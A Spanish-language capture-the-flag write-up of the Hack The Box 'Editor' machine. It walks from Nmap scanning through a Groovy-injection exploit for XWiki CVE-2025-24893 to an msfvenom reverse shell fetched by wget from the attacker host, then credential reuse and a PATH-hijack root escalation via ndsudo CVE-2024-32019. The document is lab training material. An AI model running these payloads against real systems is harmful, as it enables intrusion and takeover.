Editor

Enumeration

Iniciamos con un escaneo utilizando Nmap para identificar puertos abiertos, servicios y sus respectivas versiones en la máquina objetivo. Es importante recordar añadir el dominio editor.htb al archivo local de hosts echo "10.129.64.75 editor.htb" | sudo tee -a /etc/hosts. De lo contrario, los escaneos detallados y la posterior navegación web no funcionarán correctamente.

```sh
# [-p-] Escanear todos los puertos (1-65535)
# [-sS] Stealth SYN scan para evitar completar conexiones TCP
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=1000] Enviar al menos 1000 paquetes por segundo
# [-oN] Guardar el output en formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.64.75 -oN ports.nmap
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

# [-sCV] Combinar la ejecución de scripts por defecto (-sC) y detección de versión (-sV)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ nmap -p22,80,8080 -sCV --min-rate=1000 10.129.64.75 -oN versions.nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    Jetty 10.0.20
| http-methods:
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: XWiki - Main - Intro
|_Requested resource was [http://editor.htb:8080/xwiki/bin/view/Main/](http://editor.htb:8080/xwiki/bin/view/Main/)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-webdav-scan:
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Type: Jetty(10.0.20)

Al visitar http://editor.htb, encontramos una landing page para un IDE, pero no presenta ninguna superficie de ataque interesante para nuestro pentesting.

Port 80 - Web page

Por otro lado, http://editor.htb:8080 nos dirige a la documentación principal de una plataforma XWiki [Versión 10.15.8].

Port 8080 - XWiki Documentation

Explotación

Investigando esta versión específica, descubrimos que XWiki es vulnerable a CVE-2025-24893. Esta es una vulnerabilidad crítica de Remote Code Execution causada por un sandboxing inadecuado de macros de Groovy renderizados de forma asíncrona. Permite a un atacante ejecutar comandos arbitrarios mediante una inyección en los endpoints de SolrSearch basados en RSS. Utilizaremos el PoC disponible en GitHub por Net.Doge & Infinit3i

# Descargamos el PoC a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits]
└─$ git clone https://github.com/Infinit3i/CVE-2025-24893

# Inspeccionamos el código del exploit
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ nano CVE-2025-24893-PoC.py

Nota de seguridad: Nunca ejecutes un exploit a ciegas. Siempre debes revisar el código fuente antes de correrlo. Al revisar este script, confirmamos que genera un payload ejecutable ELF mediante msfvenom y orquesta la inyección a través del parámetro text del servidor web.

...
...
...
def build_full_bash_payload(cmd: str) -> str:
    return (
        f"cmd=$(echo -n '{cmd}' | jq -Rr @uri); "
        f'curl -i "http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch?media=rss'
        '&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
        '%7b%7bgroovy%7d%7dprintln(%22$cmd%22.execute().text)'
        '%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" '
        "| awk -F'}}}' '{ print $2 }' | awk -F'</title' '{ print $1 }'"
    )

def send_encoded_command(cmd: str):
    cleaned_cmd = cmd.replace('"', '\\"')
    payload = (
        "{{async async=false}}{{groovy}}"
        f'println("{cleaned_cmd}".execute().text)'
        "{{/groovy}}{{/async}}"
    )
    params = {
        "media": "rss",
        "text": payload
    }

    try:
        url = f"http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch"
        response = requests.get(url, params=params)
        response.raise_for_status()
        raw = response.text.split("}}}")[-1].split("</title")[0]
        match = re.search(r"\[(.*?)\]", raw)
        return match.group(1).strip() if match else "(no [brackets] found)"
    except requests.RequestException as e:
        return f"{RED}[!] Error: {e}{RESET}"

def generate_reverse_shell_payload():
    print(f"{YELLOW}[>] Generating ELF payload using msfvenom...{RESET}")
    try:
        subprocess.run(
            [
                "msfvenom",
                "-p", "linux/x64/shell_reverse_tcp",
                f"LHOST={LOCAL_HOST}",
                f"LPORT={BEACON_PORT}",
                "-f", "elf",
                "-o", "rev"
            ],
            check=True
        )
        print(f"{GREEN}[+] Payload saved as ./rev{RESET}")
    except subprocess.CalledProcessError:
        print(f"{RED}[!] Failed to generate payload with msfvenom.{RESET}")
        input(f"{YELLOW}[Press ENTER to return to menu]{RESET}")
        return False
    return True

def run_reverse_shell():
    clear_screen()
    if not generate_reverse_shell_payload():
        return

    input(f"{YELLOW}[Press ENTER to launch reverse shell on remote target]{RESET}")

    cmds = [
        f"wget -O /tmp/rev http://{LOCAL_HOST}:{SERVER_PORT}/rev",
        "chmod +x /tmp/rev",
        "/tmp/rev"
    ]

    for cmd in cmds:
        print(f"{YELLOW}[>] Sending: {cmd}{RESET}")
        result = send_encoded_command(cmd)
        time.sleep(5)
        print(f"{GREEN}[+] Response: {result}{RESET}")

    input(f"{YELLOW}[Press ENTER to return to main menu]{RESET}")
...
...
...

Procedemos a ejecutar el script. En el menú principal, utilizamos la opción #3 para configurar los parámetros (Target host y Local host). Luego, seleccionamos la opción #2 para establecer nuestra reverse shell.

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ python3 CVE-2025-24893-PoC.py

===============================
     XWiki CVE-2025-24893

Created by Net.Doge & Infinit3i
===============================
Target Host : editor.htb:8080
Local Host  : 10.10.14.192
Server Port : 8080
Beacon Port : 31337
===============================
1) Run command
2) Reverse shell
3) Change settings
4) Quit

[>] Generating ELF payload using msfvenom...
[+] Payload saved as ./rev

# Creamos un servidor HTTP en Python en otra pestaña de la terminal para servir el payload
[!] Make sure you\'re hosting the payload:
    python3 -m http.server 8080

# Listen for the reverse shell with netcat.

[!] Make sure you\'re listening for shell:
    nc -lvnp 31337

[Press ENTER to launch reverse shell on remote target]

[>] Sending: wget -O /tmp/rev http://10.10.14.192:8080/rev
[+] Response:
[>] Sending: chmod +x /tmp/rev
[+] Response:
[>] Sending: /tmp/rev
[+] Response:

[Press ENTER to return to main menu]

Revisamos nuestra pestaña con Netcat y confirmamos que hemos recibido la conexión.

# [-l] Modo escucha
# [-v] Output detallado (Verbose)
# [-n] No resolver DNS
# [-p] Puerto a escuchar
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ nc -lvnp 31337

connect to [10.10.14.192] from (UNKNOWN) [10.129.64.75] 43778

id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

python3 --version
Python 3.10.12

# Convertimos la reverse shell básica en una shell interactiva completa usando Python (PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'

xwiki@editor:/usr/lib/xwiki-jetty$

Movimiento Lateral

Dado que las capacidades de ejecución del usuario xwiki son limitadas, procedemos a buscar archivos de configuración que puedan contener credenciales expuestas.

# Mostrar todos los usuarios que tengan una shell Bash interactiva configurada
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

XWiki gestiona varias configuraciones ubicadas típicamente en el directorio WEB-INF. Entre las más destacadas se encuentran:

  • xwiki.properties: El archivo más reciente para opciones de configuración de XWiki.
  • xwiki.cfg: Archivo de configuración histórico.
  • hibernate.cfg.xml: Maneja la configuración de Hibernate para la conectividad con BDs.

Al examinar los archivos en /etc/xwiki, encontramos credenciales almacenadas en plain text dentro del archivo de Hibernate.

xwiki@editor:/usr/lib/xwiki-jetty$ cd /etc/xwiki

xwiki@editor:/etc/xwiki$ ls -l
...
...
-rw-r--r-- 1 root root 16171 Jun 16 10:48 hibernate.cfg.xml
-rw-r--r-- 1 root root 25653 Jul 29 11:48 xwiki.cfg
-rw-r--r-- 1 root root 78535 Jul 29 11:48 xwiki.properties

# Encontramos la configuración de conexión MySQL con credenciales expuestas
xwiki@editor:/etc/xwiki$  hibernate.cfg.xml
...
...
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
...
...

Aunque logramos iniciar sesión en MySQL con estas credenciales, no había información valiosa. Sin embargo, probamos reutilizar esta misma contraseña para iniciar sesión vía SSH con el usuario oliver (el cual habíamos descubierto previamente). La autenticación fue exitosa.

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ ssh oliver@editor.htb
oliver@editor.htb's password: theEd1t0rTeam99

oliver@editor:~$ ls
user.txt

oliver@editor:~$ cat user.txt
87*****************************07

Escalada de Privilegios

Para identificar vectores de escalada a root, iniciamos transfiriendo y ejecutando el script LinPEAS en la máquina objetivo.

# Descargamos el script LinPEAS a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh
2025-08-14 21:49:12 (503 KB/s) - ‘linpeas.sh’ saved [956174/956174]

# Levantamos un servidor web local para servir el archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

# Transferimos el archivo al objetivo
oliver@editor:~$ wget -O /tmp/linpeas.sh http://10.10.14.192:8080/linpeas.sh
2025-08-15 02:50:45 (889 KB/s) - ‘/tmp/linpeas.sh’ saved [956174/956174]

oliver@editor:~$ cd /tmp

oliver@editor:/tmp$ chmod +x linpeas.sh

oliver@editor:/tmp$ ./linpeas.sh

          ╔════════════════════════════════════╗
══════════╣ Files with Interesting Permissions ╠═══════════════
          ╚════════════════════════════════════╝
-rwsr-x--- 1 root netdata 196K Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (Unknown SUID binary!)

LinPEAS identificó un binario propietario de root con el SUID bit activado. Esta herramienta está asociada con la vulnerabilidad de escalada CVE-2024-32019.

ndsudo está diseñado para ejecutar un conjunto restringido de comandos externos, pero comete el error crítico de depender de la variable de entorno PATH para encontrar la ruta de ejecución. Esto permite a un atacante inyectar un directorio controlable en el PATH para forzar al binario SUID a ejecutar un archivo malicioso con el mismo nombre que el comando legítimo.

Utilizaremos el PoC por AzureADTrent para explotarlo.

# Comprobamos el comportamiento vulnerable
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
nvme : not available in PATH.

# Descargamos el PoC a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ git clone https://github.com/AzureADTrent/CVE-2024-32019-POC

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ ls
CVE-2024-32019-POC  linpeas.sh

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ cd CVE-2024-32019-POC

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ ls
poc.c  README.md

┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ nano poc.c

Revisamos el código C que estamos a punto de compilar. Su única función es restablecer los identificadores de usuario y grupo a 0 (root) y desplegar una sesión interactiva de bash.

#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Procedemos con la compilación y explotación:

# Compilamos el código dándole el nombre exacto del comando esperado ("nvme")
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ gcc poc.c -o nvme

# En la máquina víctima, agregamos el directorio /tmp al inicio del PATH
oliver@editor:/tmp$ export PATH=/tmp:$PATH

oliver@editor:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

# Enviamos el binario malicioso a la víctima mediante SCP (Secure Copy Protocol)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ scp nvme oliver@editor.htb:/tmp/
password: theEd1t0rTeam99

# Otorgamos permisos de ejecución
oliver@editor:/tmp$ chmod +x nvme

# Ejecutamos ndsudo; ahora intentará buscar "nvme", encontrará nuestro binario en /tmp y nos entregará root.
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

# ¡Obtenemos acceso como root!
root@editor:/tmp# cd ~

root@editor:/root# ls
root.txt  scripts  snap

root@editor:/root# cat root.txt
42*****************************9b